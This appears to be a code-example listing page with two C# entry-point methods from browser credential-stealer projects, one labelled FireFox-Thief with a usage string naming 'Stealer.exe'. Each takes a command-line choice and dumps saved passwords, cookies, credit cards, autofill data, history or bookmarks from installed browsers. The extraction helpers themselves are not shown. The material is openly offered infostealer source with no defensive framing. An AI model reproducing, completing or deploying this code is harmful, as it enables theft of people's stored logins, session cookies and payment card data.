コード例 #1
0
        static void Main(string[] args)
        {
            Console.WriteLine("Starting..");

            if (args.Length < 1)
            {
                Console.WriteLine("Please select command [PASSWORDS/HISTORY/COOKIES/AUTOFILL/CREDIT_CARDS/BOOKMARKS]");
                Environment.Exit(1);
            }

            switch (args[0].ToUpper())
            {
            case "PASSWORDS":
            {
                BrowserUtils.ShowPasswords(Passwords.Get());
                break;
            }

            case "CREDIT_CARDS":
            {
                BrowserUtils.ShowCreditCards(CreditCards.Get());
                break;
            }

            case "COOKIES":
            {
                BrowserUtils.ShowCookies(Cookies.Get());
                break;
            }

            case "BOOKMARKS":
            {
                BrowserUtils.ShowBookmarks(Bookmarks.Get());
                break;
            }

            case "HISTORY":
            {
                BrowserUtils.ShowHistory(History.Get());
                break;
            }

            case "AUTOFILL":
            {
                BrowserUtils.ShowAutoFill(Autofill.Get());
                break;
            }

            default:
            {
                Console.WriteLine("Command not found!");
                break;
            }
            }

            Console.WriteLine("Coded by LimerBoy <3");
        }
コード例 #2
0
ファイル: Program.cs プロジェクト: MLX15/FireFox-Thief
        static void Main(string[] args)
        {
            // Get command line args
            string arguments = string.Join(" ", args).ToLower();

            if (string.IsNullOrEmpty(arguments))
            {
                Console.WriteLine("Stealer.exe passwords/cookies/history/bookmarks\nCoded by LimerBoy\nGithub: github.com/LimerBoy/FireFox-Thief");
                Environment.Exit(1);
            }

            foreach (string browser in Profile.GetMozillaBrowsers())
            {
                // Show info
                Console.WriteLine("Reading " + arguments + " from " + new DirectoryInfo(browser).Name + " browser.");

                // Get cookies
                if (arguments.Equals("cookies"))
                {
                    foreach (Cookie cookie in Cookies.Get(browser))
                    {
                        Console.WriteLine(BrowserUtils.FormatCookie(cookie));
                    }
                }
                // Get history
                if (arguments.Equals("history"))
                {
                    foreach (Site history in History.Get(browser))
                    {
                        Console.WriteLine(BrowserUtils.FormatHistory(history));
                    }
                }
                // Get bookmarks
                if (arguments.Equals("bookmarks"))
                {
                    foreach (Bookmark bookmark in Bookmarks.Get(browser))
                    {
                        Console.WriteLine(BrowserUtils.FormatBookmark(bookmark));
                    }
                }
                // Get passwords
                if (arguments.Equals("passwords"))
                {
                    foreach (Password account in Passwords.Get(browser))
                    {
                        Console.WriteLine(BrowserUtils.FormatPassword(account));
                    }
                }
            }

            Console.WriteLine("DONE");
        }